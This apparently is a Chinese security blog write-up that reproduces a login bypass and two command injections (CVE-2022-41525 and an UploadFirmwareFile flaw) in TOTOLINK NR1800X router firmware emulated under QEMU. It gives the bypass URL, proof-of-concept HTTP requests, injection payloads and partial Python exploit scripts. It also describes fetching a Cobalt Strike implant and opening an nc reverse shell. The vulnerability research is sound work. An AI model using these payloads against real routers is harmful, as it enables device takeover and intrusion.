1. 前言
闲来无事逛论坛时发现了一篇写的蛮好的漏洞复现文章,还是多CVE复现的,菜鸡决定也来凑个热闹。
2. 实验环境
1 | Ubuntu 16.04 |
固件下载地址:
1 | https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html |
涉及漏洞
1 | OpModeCfg命令注入:CVE-2022-41525 |
3. 固件模拟
这里模拟采用的是system态,user态的模拟话会出现访问页面白板的问题,可能是因为有些配置文件加载的问题导致的。不过为了大家更好的感官,这里两种模拟方式我都会写下。
3.1 user态
首先,当然是我们固件的下载以及解包啦。直接一个递归解包
1 | binwalk -Me TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web |
解完包来看下我们的配置吧,首先是我们的IP
1 | auto ens33 |
至于QEMU的下载啥的,请参考以前的漏洞复现文章,这里肯定不会再重复啦。
复制出来后,直接上命令模拟就好。当然,我们这里还需要确定下使用哪个命令来模拟。
1 | readelf -h bin/busybox |
mips架构,小端序,那就用mipsel吧
1 | cp $(which qemu-mipsel-static) ./ |
当然,这里会报错,需要我们自己指定已有的配置文件
(ps:后面的同学其实可以直接一套带走,不需要每次看报错,我这里是为了记录)
1 | sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf |
然后继续报错,说我们还缺个文件,自己创建一个就好。
1 | vim ./var/run/lighttpd.pid |
直接空文件保存就好,再来模拟就好了
服务已启动,访问IP看下。白板一只,令人心塞。不过换了system态就好了,这里只是给大家看下长啥样。
3.2 system态
user态访问是白板,很显然是哪里出了问题,很大可能是配置文件没有加载全,user态有些时候确实会出现类似的问题,所以多手准备很有必要。
首先下载QEMU启动虚拟机所需要的镜像,如果没有wget命令,直接访问后面的网站,自己下完拖进去就好。
1 | wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 |
在上面,我们已经创建好了网桥br,那么这里我们还需要创建个网口
1 | sudo tunctl -t tap0 |
创建的网口需要和网桥同一网段,是为了后续和QEMU启动的虚拟机通信,当然,IP随意
这里配置完成后,启动我们的QEMU虚拟机
1 | sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic |
这里记得加sudo,不然权限会不够,然后经过耐心的等待,我们的虚拟机就会成功启动。
1 | 账密:root/root |
上来后我们会发现QEMU启动的虚拟机还没有IP,这里我们直接命令配个静态的就行。
1 | ifconfig eth0 192.168.7.67 up |
配置完成,我们来测试下通信,Good!
既然现在我们通信配完了,那么就要开始准备上模拟了。
先把我们的源码拷进去
1 | sudo scp -r squashfs-root/ root@192.168.7.67:/root/ |
然后在QEMU虚拟机中挂载启动就好
(这里要先运行上面的代码,在跑下面的。因为QEMU虚拟机的原因,代码太长了不会自动换行,导致代码执行失败,所以要先进sh,然后再跑代码)
1 | chroot ./squashfs-root/ /bin/sh |
服务启动,再来访问下
Nice,这下啥都有了,现在可以开开心心的去复现漏洞了。
4. 漏洞复现
4.1 登录绕过
这里首先需要绕过登录,因为后面的俩命令执行需要登陆才行,但是我们默认密码登不上去,又不是实体设备可以重置密码,只能想办法绕过了
这里我直接先上POC(很简单的常规绕过,放开头为了方便大家使用)
1 | GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1 |
这里两段数据上面的是原始包,下面的是修改后的包,我们只需直接访问下面的url链接就可以直接登录了
1 | http://192.168.7.67/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login |
其实原理就是一个很简单的抓包改参,做过渗透的师傅应该都可以一眼看出来。不过我们手头既然有源码,那就肯定不能只顾黑盒测试啦,上源码看看吧。这里我先丢两个关键数据包出来
1 | POST /cgi-bin/cstecgi.cgi?action=login HTTP/1.1 |
1 | GET /formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login HTTP/1.1 |
首先是我们的第一个数据包,涉及到了cstecgi.cgi
,文件路径在www目录下,我们copy出来看下。
1 | /squashfs-root/www/cgi-bin |
是个32位的文件,直接IDA32打开就行。根据数据包内容,我们直接定位到action=login
的位置。
这里的代码主要是为了初始化我们的链接格式,用于后面传递的参数与接口的对应。
链接格式初始化后,接下来就是通过对topicurl
的值进行处理,来实现不同函数接口的调用。即goto LABEL_16
中的代码。
可以看到代码通过websGetVar
函数获取topicurl
的值,通过对/
的判断来截断函数名。
通过while循环遍历我们目前所在的是哪一个函数名称,然后跳到对应的函数地址去执行代码。
因为函数名称和地址是结构体方式,我们可以通过搜寻字符串的交叉引用来查找对应的处理函数。这里我是通过对loginAuthUrl
交叉引用找到对应函数地址sub_42AEEC
的,loginAuth
的几个交叉引用都在main函数里,不是我们要找的地方。
这里可以看到从url中读取了部分参数值,包括username、password等。
继续往下看代码的话,还会发现对password的值进行了urldecode
解码操作。同时调用了nvram
函数获取了一个名为http_username、http_passwd
的值来和我们输入的值进行对比。
这里我查到,nvram_safe_get
函数主要用来从配置中获取参数(当然,也不晓得我查的对不对,莫名其妙查不到这个函数的作用)
1 | get the configureation of luci configure web |
这里获取了http_passwd
的值后,将值赋值给了v15
,然后又通过strcpy
函数将值复制给了v32
,我们跟着代码继续往下看,可以看到有个比较代码,将password
和http_passwd
进行了比较,同时通过结果对v18进行了赋值。
通过对代码的分析可以知道,v18在这里其实相当于一个标志值,是第二个包中的authCode
所代表的值。不过不知道是不是模拟器的原因,不管输入什么密码都登不进去。
1 | v17 = strcmp(v6, v30); |
关于v18的值部分关键代码我贴在这了,感兴趣的师傅也可以直接看下。
继续往下看,可以看到有个snprintf
函数,用来重定向url
,然后进行访问,流程由flag参数值决定。
分析完url
部分,我们还需要继续往下看,来看下我们的网络连接部分。第二个数据包的http请求处理在web服务进程的lighttpd
中。老样子,拿出来后authCode
字符串交叉引用,查看调用。
依旧是同样的判断方法,先获取参数值,根据goURL
参数是否为空,来判断是否进入if条件语句。
继续往下看就是判断是否有authCode
值,来决定是否进入home.html
主界面,否则就返回到login.html
界面
这样的来看,我们其实只用构造访问url就可以直接绕过登录了
1 | http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login |
goURL
不写的话,会自动复制home.html
,所以两条语句都可以访问。另外userName
不指定账户也可以登录,这里路由器默认admin登录的。
4.2 OpModeCfg命令注入
绕过登录问题已经解决了,那么下面就是我们的漏洞复现了。这个漏洞其实也很简单,由于OpModeCfg
函数中传入的hostName
参数过滤不严格,导致可以执行到dosystem
函数,从而可以通过简单的构造来执行命令。
那么我们来看下漏洞形成的代码,还是/cgi-bin/cstecgi.cgi
这个文件。
这里函数块在sub_421C98
处,同时如果要执行到doSystem
处需要绕过几个判断。首先是proto不能为0、3、4、6
,接着是hostname
不能为空。hostname
不能为空在图里就可以看出来,至于proto
则在上面的代码处,因为总代码比较长,这里我只截判断部分给大家看看,感兴趣的师傅可以自己去分析下。
这样一来,我们只需要构造一个符合函数的包就好。
1 | POST /cgi-bin/cstecgi.cgi HTTP/1.1 |
当然,这里其实也可以用python脚本来实现
1 | import requests |
4.3 UploadFirmwareFile命令注入
这一个命令注入是/cgi-bin/cstecgi.cgi
的UploadFirmwareFile
函数,参数FileName
可控,可以作为doSystem
的参数执行。不过这块代码反汇编出来有些问题,没有被识别到,需要自行创建个函数。
首先,在最开头我们可以看到,表示地址的部分是暗红色,代表没有成功识别到汇编代码
我们可以借助IDA,来创建一个函数,直接快捷键P
即可。或者Edit -- Functions -- Create Function...
从最上面开始创建函数后,一路往下,直到能够将我们的关键地址变为能够识别到的汇编代码即可。
然后开开心心的F5反编译
当然,如果反编译失败报错,提示大小不对那个错误的话,可以修改下。
Options -- Compiler...
,修改配置为GNU C++即可
这里我们直接来测试下命令注入吧
1 | POST /cgi-bin/cstecgi.cgi HTTP/1.1 |
注意这个命令注入是将文件写到QEMU启动的虚拟机内部,而不是说将文件copy出来。
当然,这个命令注入的实现同样可以使用python
1 | import requests |
为了体现区别,这里用python执行ls -al
命令
成功写入~~~
5. 关于shell
能够执行命令了,那我们一般来讲,肯定是想着该怎么弹shell。这里我们以OpModeCfg命令注入
为例,来实际测试下我们能不能弹个shell回来。
因为我其实不太会渗透,所以一开始是想着传个马进去,上线CS。不过出了问题,没法执行。这里也给大家看一下。
首先利用cs的插件,做个Linux的马出来
木马制作完成后,我本机上线测试了下,确保能用
测试正常,既然能用,接下来就是传到固件中运行了。这里我起个python服务,然后用攻击脚本传进去执行
1 | import requests |
虽然执行成功了,但是我们的马并没有上线。这里直接进到固件系统里面去看下
马传上来了,权限也给了,不过哪怕在固件系统里面手动执行也不行,提示无法执行二进制文件。这个问题我没解决,毕竟模拟环境好多命令其实不太好用。
既然这个不行,那就只好考虑换种方法了。直接nc弹个shell来试试看吧
1 | import requests |
这里nc倒是可以弹个shell回来,基础的指令操作也是可以的。比如cat、echo
一类的。不过没办法执行whoami
和id
这里我换了bash
和busybox
也还是不行,最终shell回来后都是用的固件模拟里带有的指令集,busybox
也没法用,没搞明白是咋回事。不过关于为什么whoami
不能用倒是看懂了,回到固件模拟系统里,查看了下bin
目录和/usr/bin
目录里的内容,发现压根没有whoami
和id
这两个命令。多次测试下,发现确实是这样,凡是bin
目录下具有的命令都能用,但是没有的就不能使,尝试从外面copy
个命令进去也不太行,可能是版本架构的问题。按理说固件模拟用的应该是busybox
里的指令集来执行,不过可能是我这弹shell
出了点问题?不过能写能读倒也凑合能用了。
如果有师傅知道该怎么解决这种部分命令无法执行的问题的话,还望不吝赐教,大佬带带我啊~~~
6. 总结
命令注入漏洞其实都不难复现,难点在于如何从众多源码中找到参数过滤不严格的地方,以及我们该如何绕过这个过滤。同时还需要注意payload的构造,这两个命令执行漏洞其实对比就很明显。两个命令执行payload构造有着一个很细微的区别。
1 | "hostName" : "';ls -al ../ ;'" |
仔细观察其实可以看到,两个命令执行,一个用了'
单引号,一个没有使用。这点也和两个doSystem
不同有关。
比较一下就能看出很明显的区别。
7. 参考链接
1 | https://www.anquanke.com/post/id/282739 |
发布时间: 2022-11-10
最后更新: 2023-07-21
本文标题: TOTOLINK_NR1800X多漏洞分析
本文链接: https://foxcookie.github.io/2022/11/10/TOTOLINK_NR1800X多漏洞分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!